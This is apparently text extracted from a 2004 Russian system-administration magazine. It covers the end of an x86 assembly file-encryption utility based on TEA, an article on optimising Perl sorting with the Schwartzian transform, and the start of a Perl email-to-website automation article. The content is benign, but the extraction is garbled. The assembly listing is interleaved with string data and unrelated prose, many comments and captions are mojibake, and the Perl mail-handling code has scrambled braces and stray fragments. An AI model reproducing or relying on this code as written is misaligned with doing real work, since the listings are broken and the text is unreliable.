dec esi ; Ïåðåõîäèì íà ðàçäåëÿþùèé ïðîáåë flag db 0 ;
mov byte ptr[esi],0 ; È çàìåíÿåì åãî íóëåì
pop esi ; Âîññòàíàâëèâàåì óêàçàòåëü èç ñòåêà usage__:
push esi ; È òóò æå êëàäåì åãî îáðàòíî â ñòåê db '|----------------------------------------------|',0ah,0dh
db '| [FILE ENCRYPTION UTILITE (BASED ON TEA) BY SLON] |',0ah,0dh
xor eax,eax ; db '|----------------------------------------------|',0ah,0dh
push eax ; db '| USAGE: FENCU.EXE [-D OR -E] [FILENAME] [128 BIT KEY] |',0ah,0dh
push 00000080h ; db '| -D : DECRYPT FILE |',0ah,0dh
push 3 ; db '| -E : ENCRYPT FILE |',0ah,0dh
push eax ; db '| EXAMPLE: FENCU.EXE -E HELLO.TXT 1234567890abcdef |',0ah,0dh
push 00000001h OR 00000002h ; db '|----------------------------------------------|',0ah,0dh
push 40000000h OR 80000000 ; db 0ah,0dh,0
push esi ; Îòêðûâàåì ñóùåñòâóþùèé
callx CreateFileA ; ôàéë (esi) invalid1_:
db '[INVALID PARAMETER, EXITING ...]',0ah,0dh,0
inc eax ; file_err_:
test eax,eax ; Åñëè âîçíèêëà îøèáêà, òî db '[FILE ERROR, EXITING ...]',0ah,0dh,0
jnz g__ ; ïåðåõîäèì íà error_ ;--------------------------------------------------------;
push offset file_err_ ; è âûâîäèì include tea_128.asm
callx printf ; ñîîáùåíèå ;--------------------------------------------------------;
add esp,4 ; .code
g__: nop
dec eax ; Óìåíüøàåì eax íà 1 end start

mov fHnd,eax ; Ñîõðàíÿåì õýíäë ôàéëà end

push s2read ; Итак, к чему мы пришли в итоге – мы смогли написать
push eax ; утилиту, которая шифрует файлы по алгоритму TEA на ос-
callx GetFileSize ; Ïîëó÷àåì åãî ðàçìåð
mov sz_,eax ; è ñîõðàíÿåì åãî â sz_ нове 128-битного ключа. Вскрытие таких файлов нельзя
; Âûäåëÿåì ïàìÿòü назвать невозможным, но можно назвать крайне трудоем-
push 0 ; èìÿ ôàéëà õýíäë = 0
push sz_ ; ìàêñèìàëüíûé ðàçìåð = memory ким и времениемким, базируясь на текущих разработках.
push 0 ; ìèíèìàëüíûé ðàçìåð = 0 Данную утилиту можно было бы оптимизировать та-
push 4 ; äîñòóï ÷òåíèå/çàïèñü
push 0 ; ким образом, чтобы ключи хранить на дискете. При этом
push fHnd ; необходимо обеспечить безопасное хранение этой дис-
callx CreateFileMappingA ;
кеты, чтобы она не попала в руки злоумышленника. Кро-
mov mHnd,eax ; Ñîõðàíÿåì õýíäë ïàìÿòè ме того, если дискета потеряется или испортится, то дос-
or eax,eax ; åñëè îøèáêà, òî íà âûõîä
jz error2_ ; туп к зашифрованным файлам станет невозможным.
push sz_ ; êîëè÷åñòâî ïàìÿòè äëÿ ðàáîòû
Именно поэтому решать использовать внешний носитель
push 0 ; для хранения секретного ключа или нет – дело каждого
push 0 ; из нас. Что касается меня, то я больше доверяю своей
push 2 ; Ðåæèì çàïèñè
push eax ; õýíäë памяти.
callx MapViewOfFile ; Âûçûâàåì ôóíêöèþ Отдельное спасибо Владимиру Мешкову за помощь в
test eax,eax ; Åñëè îøèáêà, òî
je error3_ ; íà âûõîä плготовке статьи.

68
 программирование

ОПТИМИЗАЦИЯ СОРТИРОВКИ В PERL

В пилотном номере журнала «Системный администратор» была опубликована статья Даниила

Алиевского – «Эффективное использование памяти в Perl при работе с большими строками».
Тогда-то у меня и возникла мысль написать статью об эффективном использовании времени в Perl,
то есть об оптимизации, направленной на увеличение быстродействия.

При работе с массивами (списками)1 сортировка являет-
ся, наверное, наиболее частой операцией. Я не беру в рас-
чёт операции, отвечающие фактически за создание спис-
ков: присоединение и удаление элементов, объединение
массивов, срез и тому подобные; мы займёмся преобра-
зованием уже созданных списков. Мало кто поспорит с
тем, что процедура сортировки является весьма ресурсо-
ёмкой. Можно ли снизить нагрузку на систему, не вмеши-
ваясь в сам алгоритм сортировки?
В этой статье я хотел бы рассказать о путях оптимиза-
ции сортировки в Perl, но думаю, что изложенные здесь
приёмы могут быть полезны и для программистов на дру-
гих языках. Особенно, когда речь идёт о языках высокого
уровня, где уже существуют встроенные функции сорти-
ровки, и вам не надо писать алгоритм сортировки само-
стоятельно, но и вмешаться в него вы уже не можете. Я
не смогу написать здесь учебник по Perl, но я постараюсь
АЛЕКСЕЙ МИЧУРИН
сделать статью максимально понятной и для людей, не
знакомых с Perl.
Давайте сперва изучим особенности алгоритма сор-
тировки, вернее особенности её реализации в Perl 5.6. Я
не буду здесь рассматривать саму реализацию. Она дос-
таточно сложна и вместе с тем отлично прокомментиро-
вана в исходных кодах Perl. Если вас интересует этот воп-
рос, просто почитайте исходные коды. Итак, приступим.
Оценка производительности
сортировки в Perl
В качестве критерия производительности я выбрал вели-
чину, равную отношению: в числителе – количество срав-
нений, необходимое для выполнения сортировки, в зна-
менателе – количество элементов в сортируемом списке.
То есть величину, показывающую, сколько сравнений при-
ходится в среднем на один элемент списка. Естественно,

70

эта величина зависит и от размера массива, и от меры
его начальной упорядоченности.
Ðèñóíîê 1. Ðåçóëüòàòû òåñòîâ ïðîèçâîäèòåëüíîñòè âñòðîåííîé
ïðîöåäóðû ñîðòèðîâêè ÿçûêà Perl äëÿ èçíà÷àëüíî óïîðÿäî÷åííûõ
ìàññèâîâ (óïîð.), îáðàòíîóïîðÿäî÷åííûõ ìàññèâîâ (îáð.) è íå
óïîðÿäî÷åííûõ ìàññèâîâ (ñëó÷.) ðàçëè÷íîé äëèíû2.
На приведённой диаграмме показаны результаты тес-
тов, проведённых на разных массивах. Тестировались три
рода массивов: упорядоченный (в результате сортировки
массив не менялся), обратноупорядоченный (в результа-
те сортировки массив перестраивался в обратном поряд-
ке) и массив случайных величин (для этого случая на ди-
аграмме показаны средние значения).
Как видите, наименее ресурсоёмкой оказалась сорти-
ровка уже отсортированного массива, чего, наверное, и
следовало ожидать. Менее тривиальный результат состо-
ит в том, что для сортировки обратноупорядоченного мас-
сива требуется не намного больше актов сравнения, чем
для упорядоченного. И самой ресурсоёмкой оказывается
сортировка «случайного» (неупорядоченного) списка.
Такие результаты тестов не случайны3, но мы догово-
рились, что не будем затрагивать тонкости реализации,
оставив их для разработчиков языков. Просто сортиров-
ка такова и результаты тестов таковы.
Самым важным и интересным для нас в этих тестах
является то, что количество необходимых для сортировки
актов сравнения возрастает непропорционально количе-
ству элементов в списке. То есть для сортировки случай-
ной последовательности из 10 элементов необходимо (в
среднем) 23 сравнения, а для сортировки подобного спис-
ка из 10 000 элементов необходимо не 23 000 сравнений,
а в шесть(!) раз больше – 136 000. Обратите внимание,
эта закономерность выполняется для любых списков, не-
зависимо от их начальной упорядоченности.
Здесь-то перед программистом и открывается кажу-
щийся бескрайним простор для оптимизации кода. Давай-
те перейдём от сухой теории к практическим рецептам
(пока тоже достаточно сухим).
Сортировка в Perl и её оптимизация
Для сортировки массивов и списков в Perl предусмотрена
встроенная функция sort, которая в самой простой своей
форме может использоваться так:
Ëèñòèíã 1
# Ýëåìåíòàðíîå ïðèìåíåíèå ôóíêöèè sort
@sorted = sort @unsorted;
№4(17), апрель 2004
программирование
В результате выполнения этой команды элементы мас-
сива @unsorted сортируются по алфавиту и новый, сорти-
рованный, список помещается в массив @sorted4.
Ценность функции sort для программиста была бы не
велика, если бы это была единственная её форма, но, к
счастью, функция sort допускает формулирование любо-
го критерия сортировки. Вторая форма такова:
Ëèñòèíã 2
# Ôóíêöèÿ sort ñ çàäàííûì êðèòåðèåì ñîðòèðîâêè
@sorted = sort {...} @unsorted;
При каждом сравнении в блоке операторов {...} автома-
тически создаются две локальные5 переменные $a и $b,
которые являются синонимами сравниваемых элементов
исходного списка @unsorted. Из-за этой синонимичности
менять значение этих переменных весьма нежелательно,
это приведёт к изменения соответствующих элементов
списка @unsorted и может сбить sort с толку. Результат вы-
полнения блока интерпретируется так же, как результат вы-
полнения операторов <=> и cmp. То есть блок сообщает,
какой из двух элементов следует считать меньшим.
Пример:
Ëèñòèíã 3
# Ñîðòèðîâêà ÷èñåë ïî óáûâàíèþ
@sorted = sort {$b <=> $a} @unsorted;
В этом примере элементы списка сравниваются уже
как числа. При каждом сравнении, для пары сравнивае-
мых элементов создаются синонимы – локальные пере-
менные $a и $b; выполняется блок {$b <=> $a}; по его ре-
зультатам sort делает вывод – надо ли переставить эле-
менты или следует сохранить прежний порядок. Как ви-
дите, в нашем случае сортировка выстроит числа, состав-
ляющие массив @unsorted по убыванию.
Для иллюстрации подхода, который я собираюсь опи-
сать, более подходит следующий пример, реализующий
сортировку строк по алфавиту без учёта регистра:
Ëèñòèíã 4
# Ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà ðåãèñòðà
# (îïòèìèçàöèè íåò)
@sorted = sort {uc($a) cmp uc($b)} @unsorted;
Здесь, выполняя каждое сравнение, мы преобразуем
операнды cmp к верхнему регистру; uc – встроенная фун-
кция Perl6. Обратите внимание, мы не сохраняем резуль-
тат работы uc. Вот тут-то и кроется возможность оптими-
зировать нашу работу.
Итак, блок {uc($a) cmp uc($b)} выполняется столько раз,
сколько сравнений необходимо для сортировки. Функция
uc вызывается дважды при каждом выполнении блока.
Давайте оценим, сколько раз она выполнится.
Цифры оказываются весьма красноречивы. Для сор-
тировки «случайного» (неупорядоченного) списка из 1000
строк понадобится в среднем 19 460 вызовов uc. То есть
каждый элемент списка будет преобразован в верхний
регистр почти двадцать раз! Для аналогичного списка из
1 000 000 строк Perl придётся вызывать uc 4 3180 000 раз,
71
 программирование
и каждый элемент будет преобразован более 43 раз. Ко-
нечно, такая трата вычислительных ресурсов совершен-
но не оправданна.
Для оптимизации быстродействия нам придётся пожер-
твовать памятью, но, к счастью, память сейчас не дорога,
а вот время всегда – деньги.
Путь оптимизации очень прост, суть его такова:
Ëèñòèíã 5
# Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà
# ðåãèñòðà; äëèííàÿ ôîðìà ñ âðåìåííûìè ìàññèâàìè
@temp_unsorted =
map {[uc, $_]} @unsorted;
@temp_sorted =
sort {$a->[0] cmp $b->[0]} @temp_unsorted;
@sorted =
map {$_->[1]} @temp_sorted;
Здесь нам встречается оператор map, позвольте ска-
зать два слова о нём для тех, кто не знаком с Perl. Опера-
тор map получает в качестве аргументов блок операто-
ров и массив; блок операторов применяется последова-
тельно к каждому элементу массива, в каждой итерации
переменная $_7 становится синонимом очередного эле-
мента; все результаты итераций возвращаются операто-
ром в виде массива результатов.
Давайте теперь посмотрим, как работает последний ли-
стинг.
Сперва (первый вызов map), мы создаём временный
несортированный массив @temp_unsorted, состоящий из
указателей на двухэлементные массивы. Нулевой элемент
каждого из них содержит критерий сортировки. В нашем
случае это строка в верхнем регистре. Первый элемент
содержит оригинальную (исходную) строку. Созданная
нами конструкция напоминает двумерный массив. В Perl
не предусмотрено многомерных массивов, их роль выпол-
няют массивы указателей на массивы. В данном случае
нам нужно именно это, и при реализации подобного под-
хода на других языках понадобится скорее всего нечто
подобное. Работа с настоящим двумерным массивом в
этой ситуации может оказаться менее эффективной (в
зависимости от конкретной реализации двумерных мас-
сивов в языке).
Затем (вызов sort) мы сортируем временный массив
@temp_unsorted, используя в качестве критерия сортиров-
ки нулевые элементы анонимных двухэлементных масси-
вов. В переменной @temp_sorted получаем уже отсорти-
рованный массив указателей на наши двухэлементные
массивы.
Наконец (второй вызов map), восстанавливаем отсор-
тированный массив @sorted, извлекая оригинальные стро-
ки из первых элементов анонимных массивов, указатели
на которые составляют @temp_sorted.
Вы уже заметили, что теперь мы вычисляем uc ровно
столько раз, сколько у нас сортируемых элементов. Это
прогресс! Но теперь кроме sort мы дважды вызываем map.
Это лишняя трата времени. Тем не менее, затраты вре-
мени на выполнение map растут пропорционально коли-
честву элементов в массиве @unsorted, а экономия вре-
мени на выполнение процедуры sort растёт пропорцио-
нально количеству сравнений, то есть гораздо быстрее,
72
чем прямая пропорциональность количеству элементов.
Одним словом, при достаточном количестве элемен-
тов мы обязательно снизим суммарный расход времени
на сортировку. Какое количество элементов следует счи-
тать «достаточным»? Это зависит от сложности критерия
сортировки. Часто (но не всегда), чем сложнее критерий
(тот критерий, который сформулирован в блоке операто-
ра sort), тем меньше надо элементов, чтобы почувство-
вать выигрыш; но, чем сложнее процедура вычисления
критерия (та процедура, которая находится в map), тем
больше надо элементов, чтобы выигрыш стал ощутимым.
Подробнее это обсудим совсем скоро, а пока рассмотрим
детальнее наш последний код.
Всю описанную здесь процедуру можно записать ко-
роче и без использования временных массивов:
Ëèñòèíã 6
# Îïòèìèçèðîâàííàÿ ñîðòèðîâêà ñòðîê ïî àëôàâèòó áåç ó÷¸òà
# ðåãèñòðà; êîðîòêàÿ ôîðìà áåç âðåìåííûõ ìàññèâîâ
@sorted =
map {$_->[1]}
sort {$a->[0] cmp $b->[0]}
map {[uc, $_]} @unsorted;
Эта конструкция известна как преобразование Рэнда-
ла Шварца8.
Последний код выглядит гораздо более изящно, но
иногда уместнее использовать первый вариант (листинг 5)
или некий гибридный подход. Например, это полезно, ког-
да критерий сортировки используется многократно, или в
тех случаях, когда целесообразно рассчитывать сразу не-
сколько критериев.
В следующем примере мы создаём два сортирован-
ных без учёта регистра списка: по алфавиту и в обратном
алфавитном порядке. При этом uc вызывается только один
раз для каждого элемента.
Ëèñòèíã 7
# Ñîçäàíèå äâóõ ñîðòèðîâàííûõ áåç ó÷¸òà ðåãèñòðà ñïèñêîâ;
# âäâîéíå îïòèìèçèðîâàííàÿ ðåàëèçàöèÿ
@temp_unsorted = map {[uc, $_]} @unsorted;
@sorted_a2z = map {$_->[1]}
sort {$a->[0] cmp $b->[0]} @temp_unsorted;
@sorted_z2a = map {$_->[1]}
sort {$b->[0] cmp $a->[0]} @temp_unsorted;
Помимо выигрыша, который дала бы оптимизация каж-
дой отдельной сортировки, здесь мы получили дополни-
тельный выигрыш. Если просто дважды применить клас-
сическое преобразование Рэндала Шварца, то на одну
сортировку потребовалось бы два вызова map. Здесь же
на каждую сортировку приходится полтора вызова map
(три map на два sort). Причём реальный выигрыш ещё
больше, так как дважды выполняется процедура map, вос-
станавливающая данные, а процедура расчёта критерия
сортировки (более ресурсоёмкая, чем восстановление
данных) выполняется всего один раз на две сортировки.
То есть для каждой из двух сортировок на один элемент
понадобилась половина, если можно так сказать, вызова
uc. Впечатляющий результат?! Особенно, если вспомнить,
что если бы мы просто дважды использовали неоптими-
зированный код, аналогичный приведённому в листинге
4, применительно к массиву из миллиона строк, то каж-

дая строка была бы преобразована к верхнему регистру
без малого сто раз (более 86 раз).
Вернёмся теперь к вопросу о том, какой же список сле-
дует считать «достаточно» длинным, и какой критерий сор-
тировки – «достаточно» сложным.
Тестируйте, тестируйте
и ещё раз тестируйте
Переходим от теории к практике: к тестам на реальных
задачах.
Я производил свои тесты на Perl версии 5.6.1 (revision 5.0
version 6 subversion 1)9. Для оценки производительности
кода использовался метод timethese стандартного пакета
Benchmark. Все тесты производились на изначально не-
сортированных, «случайных», массивах. Тесты произво-
дились многократно, результаты усреднялись.
Давайте для начала сравним производительность кода
листинга 4 (без оптимизации) и листинга 6 (с оптимиза-
цией).
При сортировке списка из 1000 однокилобайтных строк
оптимизированный код показывает производительность, в
пять раз превосходящую производительность неоптимизи-
рованного кода. При сортировке аналогичного списка из
100 элементов выигрыш от оптимизации снижается, ста-
новясь четырёхкратным. При работе со списком из 10 эле-
ментов выигрыш становится меньше трёхкратного. Для
пяти элементов – менее двукратного. Наконец, с двухэле-
ментным списком оптимизированная сортировка работает
примерно вдвое медленнее, чем неоптимизированная10.
Для иллюстрации ещё одного приёма оптимизации и
тестов предлагаю средней сложности сортировку.
Пусть у нас имеется некий список версий вида:
Ëèñòèíã 8
# Ñïèñîê âåðñèé
@unsorted=('Ver 1.0',
'version 1.1',
'v. 1.10',
'ver 2.20',
'Ver 2.0',
'Version 2.3',
'V 2.12');
Нам необходимо отсортировать его по возрастанию
номера версии. Сортировка по алфавиту (как в листинге 1)
не даст ничего удовлетворительного. Сортировка версий,
как десятичных дробей тоже потерпит крах, так как в этом
случае окажется, что 1.1 равно 1.10, а 2.3 больше, чем
2.12. Здесь нужен более деликатный подход11.
Простой вариант без оптимизации может выглядеть так:
Ëèñòèíã 9
# Ñîðòèðîâêà ñïèñêà âåðñèé áåç îïòèìèçàöèè
@sorted=sort {
my ($ap, $as)=($a=~m/(\d+)\.(\d+)/);
my ($bp, $bs)=($b=~m/(\d+)\.(\d+)/);
$ap <=> $bp || $as <=> $bs; } @unsorted;
Для сравнения двух строк мы выделяем по два числа
из каждого сравниваемого элемента сортируемого спис-
ка и производим сравнение этих чисел. Версия и подвер-
сия, выделенные из элемента $a, помещаются в перемен-
№4(17), апрель 2004
программирование
ные $ap и $as соответственно; элемент $b обрабатывает-
ся аналогично. Если номера версий равны, то сравнива-
ются подверсии12.
Вариант с нашей оптимизацией будет выглядеть так:
Ëèñòèíã 10
# Ñîðòèðîâêà ñïèñêà âåðñèé ñ îïòèìèçàöèåé
@sorted=map { $_->[0] }
sort { $a->[1] <=> $b->[1] ||
$a->[2] <=> $b->[2]; }
map { m/(\d+)\.(\d+)/;
[$_, $1, $2]; } @unsorted;
Этим примером я хотел продемонстрировать, что вспо-
могательный массив (создаваемый вторым по тексту опе-
ратором map) может содержать указатели не только на
двухэлементные анонимные массивы. В нашем случае
критерий сортировки достаточно сложен и мы создаём
трёхэлементные анонимные массивы: нулевой элемент –
оригинальная строка, первый – номер версии, второй –
номер подверсии.
С точки зрения расхода памяти такой подход доста-
точно расточителен, тем не менее он часто бывает оправ-
дан, когда критерий сравнения достаточно сложен.
Однако наш пример не настолько сложен, в чём мы
сейчас и убедимся, не только усовершенствовав оптими-
зацию и ускорив процедуру сортировки, но и сэкономив
память.
Воспользуемся соображением, что номер версии и
подверсии не может быть больше 999. Тогда мы можем
преобразовать версию и подверсию в одно число по фор-
муле:
[âåðñèÿ]*1000+[ïîäâåðñèÿ]
То есть 1.1 превратится в 1001, а 1.10 – в 1010. Сорти-
ровка таких чисел, очевидно, аналогична правильной сор-
тировке версий.
Новый код будет выглядеть так:
Ëèñòèíã 11
# Ñîðòèðîâêà ñïèñêà âåðñèé ñ äîïîëíèòåëüíîé îïòèìèçàöèåé
@sorted=map { $_->[0] }
sort { $a->[1] <=> $b->[1] }
map { m/(\d+)\.(\d+)/;
[$_, $1*1000+$2]; } @unsorted;
Обратите внимание, как упростилась процедура срав-
нения. Это стоило нам небольшого усложнения (и замед-
ления выполнения) кодирующего (второго по тексту) map.
Но зато теперь память используется более экономно и,
что самое главное, сравнение двух элементов в блоке опе-
ратора sort происходит гораздо быстрее.
Какова же производительность этих кодов? Как пока-
зывают тесты, наш успех не всегда можно назвать голо-
вокружительным13.
При сортировке списка из 1000 элементов: первая оп-
тимизация (листинг 10) даёт выигрыш в 4 раза (здесь и
далее будем сравнивать с неоптимизированным кодом из
листинга 9); дополнительная оптимизация (листинг 11)
даёт ещё больший выигрыш – в 4.7 раза.
При сортировке списка из 100 элементов: первая оп-
73
 программирование
тимизация даёт выигрыш в 3.8 раза, вторая оптимизация
уже не способна дать дополнительный выигрыш, она ра-
ботает чуть медленнее первой и даёт выигрыш в 3.7 раза.
Такая же ситуация, только более ярко выраженная,
наблюдается при сортировке списка из десяти элементов:
первая оптимизация – выигрыш в два раза, вторая опти-
мизация – выигрыш только в 1.7 раза.
Для списка из пяти элементов тестирование даёт сле-
дующие результаты: первая оптимизация по-прежнему
даёт заметный выигрыш в 1.34 раза, вторая оптимизация
продолжает себя дискредитировать, давая выигрыш все-
го в 1.19 раза.
Мораль, я думаю, уже понятна: чем продуманнее оп-
тимизация, тем она, без сомнения, эффективнее; но её
эффективность начинает проявляться только при сорти-
ровке достаточно длинных списков. Причём эта крити-
ческая длина возрастает с ростом продуманности опти-
мизации.
Размышляя над результатами наших тестов, обратите
внимание и на тот факт, что все они проводились на не-
упорядоченных массивах, сортировка которых наиболее
ресурсоёмка. На практике очень часто встречается ситу-
ация, когда требуется лишь восстановить слегка нарушен-
ный (скажем, добавлением новых элементов) порядок. В
1 7
В Perl термины массив (array) и список (list) во многом
синонимичны, и я буду использовать их, всегда имея в
виду упорядоченный набор данных.
2 8
Данные, приводимые разными источниками, иногда
очень сильно отличаются друг от друга. Это бывает свя-
зано с тем, что тесты разных авторов проводились на
разных алгоритмах или на данных различной изначаль-
ной упорядоченности. Кроме того, некоторые авторы
считают не акты сравнения, а акты вычисления опе-
рандов сравнения; естественно, таких вычислений в
два раза больше, чем сравнений.
3
Процедура сортировки в Perl весьма сложна. Алгоритм
«адаптируется» к статистическим особенностям сор-
тируемой последовательности, которые заранее неиз-
вестны и не всегда верно «угадываются». Подобных
механизмов может не быть в других языках, поэтому
аналогичные тесты могут дать иные результаты.
4
Обратите внимание: при таком вызове функции sort
выполняется именно строковое сравнение элементов
массива @unsorted, то есть массив @unsorted=(1,2,11)
в результате сортировки будет преобразован к
@sorted=(1,11,2). Сюрприз?
5
Переменные $a и $b получают область видимости
именно local, а не my. То есть они видны глобально во
всех вызываемых блоком подпрограммах (в пределах
текущего модуля) и могут (но не должны!) изменяться
ими. Только после завершения выполнения блока этим
переменным возвращаются их прежние значения, как
если бы они были локальными.
6
Функция uc работает гарантированно корректно толь-
ко с латинскими буквами. Для сортировки строк, со-
держащих русские символы, следует применять более
тонкие приёмы. Здесь мы не будем касаться этого воп-
роса.
74
таких случаях сортировка может оказаться менее ресур-
соёмка и экономия времени от выноса кода за пределы
блока оператора sort будет ощущаться на больших мас-
сивах.
Есть ещё одно существенное соображение. Вы виде-
ли, что при работе с большими списками код из листинга
11 более производителен, чем код из листинга 10. Одна-
ко промежуточный массив, возникающий при работе лис-
тинга 10, позволил бы весьма гибко выполнять самые раз-
ные сортировки (конечно, если бы мы его сохранили по-
добно тому, как мы это сделали в листинге 7 при созда-
нии двух сортированных массивов). Например, мы могли
бы сортировать список версий по возрастанию версии, но
убыванию подверсии. То есть, совершенствуя наше ре-
шение, мы снизили его универсальность, которая могла
бы оказаться полезной в каких-то ситуациях.
Одним словом, абсолютно универсального решения не
существует. Каждый подход хорош только в определён-
ных условиях. Если вы намерены всерьёз позаботиться о
производительности своего кода, то я посоветовал бы
ознакомиться со страницами руководства perldoc
Benchmark и всегда тестировать свой код. Причём тести-
рование, как вы уже убедились, следует проводить в ус-
ловиях максимально «приближенных к боевым».
Именно переменную $_ использует функция uc, если
аргумент не задан явно. То есть вызов uc (без аргу-
ментов) эквивалентен вызову uc($_).
Randal L. Schwartz, Портленд (штат Орегон). Шварц ши-
роко известен своими книгами (есть и переведённые
на русский язык) и публикациями, а также своими ча-
сто шутливыми высказываниями в Usenet. Если вы про-
граммируете на Perl, то наверняка уже сталкивались с
ним.
9
Это весьма существенная информация, функция sort
постоянно совершенствуется разработчиками Perl. В
последней версии 5.8 добавлена даже новая прагма
use sort, позволяющая в некотором роде выбрать ал-
горитм сортировки.
10
Конечно, для сортировки двух величин эффективнее
использовать не процедуру sort, а конструкцию напо-
добие такой: @srt=$usrt[0] gt $usrt[1]?@usrt:@usrt[1,0];
она работает в десятки раз быстрее, чем sort.
11
Для работы со строками я буду использовать механизм
регулярных выражений, описание которого выходит
далеко за рамки настоящей статьи.
12
Надо заметить, что в предложенный здесь и далее код
далёк от совершенства и едва ли применим для реше-
ния реальных задач. Корректность исходных данных
не проверяется, а строка вида «Windows 95» уже бу-
дет обработана неправильно.
13
Скорость подобной сортировки существенно зави-
сит от длины и характера сортируемых строк. Я про-
водил тесты на строках, аналогичных приведённым
в листинге 8. Если бы мы взяли более длинные стро-
ки, они обрабатывались бы медленнее, различия ре-
зультатов тестов стали бы ощутимее, но общий ха-
рактер описываемых закономерностей не изменил-
ся бы.
web

АВТОМАТИЗАЦИЯ ВЕБ-ПРОЕКТОВ
ЧЕРЕЗ ЭЛЕКТРОННУЮ ПОЧТУ

Если взглянуть на мир со стороны, становится абсолютно не понятно, кто и как управляет сайтами.
Информации на этот счет крайне мало, хотя, думаю, существует достаточное количество
интересных решений. Более-менее развитые движки сайтов предоставляют веб-интерфейс
управления контентом, если, конечно, это не считается принципиальным аппендиксом.
Про то, что я буду описывать, лично мне нигде пока слышать не доводилось.

ИГОРЬ ТЕТЕРИН
76

Сразу же уточним, чего мы хотим добиться. Наша зада-
ча – сделать как можно более удобный и доступный ин-
терфейс для наполнения сайта контентом, то есть пере-
ложить часть рутины на скрипты и сотрудников. Значит,
нам предстоит заняться автоматизацией этого процесса.
Иногда дело доходит до смешного. Есть у человека
свой проект, и даже есть свой движок. Но для каждого
нового динамического раздела он пишет и рисует фор-
мы, пишет обработчики, вставляет проверки. Появляется
новый раздел – берем шаблон предыдущего, корректиру-
ем, правим, редизайним, проверяем и выкладываем. И
еще раз проверяем.
Такой вот обьем работы ради того, чтобы добавить один
раздел. А кто-то ведь еще работает и делает это через
dial-up. Любой, кто занимался этим, поймет – эта работа
для орков. Мы же – программисты.
У нас есть свой проект, и тратить кучу времени на раз-
работку каждого отдельно взятого раздела мы не хотим.
Лучше мы помучаемся один раз, зато потом жизнь наша
станет сладкой и динамичной.
Новый принцип автоматизации.
Основы. Сравнения
Как-то давно, когда я писал ret 0.8 (ядро для интернет-
сайтов), мой друг заметил, что было бы весьма удобно,
если бы сайтом можно было управлять через электрон-
ную почту. Тогда мы не уделили этому вопросу должного
внимания. Позднее – только вспоминали про эту техноло-
гию. И вот, наконец, я решил испробовать это на одном
разделе своего сайта http://revda.biz.
Написал простой скрипт, который читает почту из рас-
сылки и публикует все, что попадет, на сайт. И тут я по-
нял, что это очень удобно! Люди, которые писали в рас-
сылку, просто переписывались, при этом страница сайта
была в постоянном движении. Те, кто заходил на эту стра-
ницу, знали и понимали – за новой информацией туда
можно заходить каждый день. Да, пока это больше похо-
же на обычный интернет-трэд, но все же!
Как все это выглядит? Наша задача – обрабатывать
письма, которые мы будем брать с заранее созданного
почтового ящика. Этот же ящик мы можем подписать на
рассылки или нечто подобное, дело даже не только в рас-
сылках. Мы можем дать адрес ящика нужным нам людям
для того, чтобы они присылали туда новую информацию
почтой, и не приучать их пользоваться для этого каким-
либо веб-интерфейсом. Кроме того, наш сайт может брать
что-то из сети Интернет, а результат пересылать на тот
же почтовый ящик.
Грубо говоря, наш почтовый ящик стал централизован-
ным источником информации. Этого обычно не скажешь о
веб-интерфейсе, где приходится (по большей части) кого-то
напрягать, заставлять или самому работать ручками. Более
того – мы можем автоматически обрабатывать не один ящик,
а несколько, закрепив за каждым свою тематику.
Этот подход также решает вопрос вашего присутствия
в Интернете. Так как мы работаем с почтовым ящиком, то
для того, чтобы обработать материал, ответить кому-то
или сделать что-то еще, нам достаточно просто скачать
почту, поработать с ней и отослать ответы.
№4(17), апрель 2004
web
Пока все выглядит очень красиво. Однако, чтобы со-
здать нечто подобное в реальности, нам придется ввязать-
ся в битву с одним, а может, и двумя, самыми запутанны-
ми стандартами: MIME и HTML.
Победить в битве с HTML достаточно трудно – это до-
вольно противоречивый и очень динамичный стандарт. Тут
придется не один раз приложить и руки, и голову. В рам-
ках нашей задачи мы коснемся его только слегка.
Выбор платформы, языка
и оценка задачи
На чем будет работать наш обработчик почты? Ответ оче-
виден, если предположить, что все должно работать и на
Windows, и на UNIX-платформах. Мы не станем ограничи-
вать себя чем-то одним, поэтому после разработки обра-
ботчика сможем использовать его и там, и там. А это весь-
ма удобно.
На чем будем писать? Немного подумаем. Учитывая,
что PHP я не знаю и знать не хочу, остается один выбор –
Perl. К тому же Perl, с моей точки зрения, концептуально
более правильный язык и больше подходит на роль стан-
дартного. Но не это важно, важны принципы и алгоритм,
а реализовывать можно хоть на Ruby.
Ну и, наконец, перед нами стоит задача написать об-
работчик почты. То есть нам потребуется автоматизиро-
вать прием, отправку, разбор писем. Плюс к этому возни-
кает проблема безопасности и защищенности такого ре-
шения.
Что же нам потребуется? Один почтовый ящик, хостинг
(хотя можно и локально) с поддержкой Perl и несколькими
дополнительными модулями с CPAN. Ну и остальное «ог-
нестрельное оружие», вроде putty, far, TheBat и т. д.
Переходим к практике
Рассмотрим очень простой пример. Первое, что нам по-
требуется – подключение нужных модулей:
use Net::POP3;use MIME::Parser;
use MIME::Entity;
use MIME::Head;
use MIME::Body;
use MIME::Words qw(:all);
use MIME::QuotedPrint;
use MIME::Base64;
Определим основные объекты и переменные:
my $parser = MIME::Parser->new;
$parser->output_to_core(1);
$parser->tmp_to_core(1);
$mail_server='127.0.0.1';
$username='login';
$password='password';
Теперь получим список писем:
$pop = Net::POP3->new($mail_server)
or die "Can't open coonection to $mail_server :$!\n";
$pop->login($username, $password)
or die "Can't Authenticate: $!\n";
$messages = $pop->list
or die "Can't get listof undeleted messages: $!\n";
77
 web
Начинаем обрабатывать каждое письмо:
foreach $msgid (keys %$messages)
{ if
$message = $pop->get($msgid);
unless (defined $message)
{ }
warn "Couldn't fetch $msgid from server: $!\n";
next;
} map {xcode( ${$_}[1], ${$_}[0])}
Следующий метод изначально был взят у Рэндола Швар-
ца. Если вы поищете в Сети, то найдете нечто вроде Perl-
Column, мне встречался даже перевод, правда, неполный.
Далее следует примерно такой алгоритм: если в пись-
ме есть часть типа text/plain, то берется именно эта часть,
а все остальное игнорируется.
Таким образом, если мы встречаем письмо, где есть
HTML-часть и текст, то в качестве входящих данных бе-
рется именно текст. Если текстовой части нет – письмо
игнорируется.
$pop->delete ( $msgid );
@message = @$message;
$ent = $parser->parse_data ( \@message );
$bodyCoding = $ent->head-> ↵
mime_attr( 'Content-type.charset' );
$origType = $ent->head-> ↵
get( 'Content-Transfer-Encoding',0 );
if ( $ent->effective_type eq 'text/plain' )
{ создает необходимую структуру и, используя ядро ret WebOS
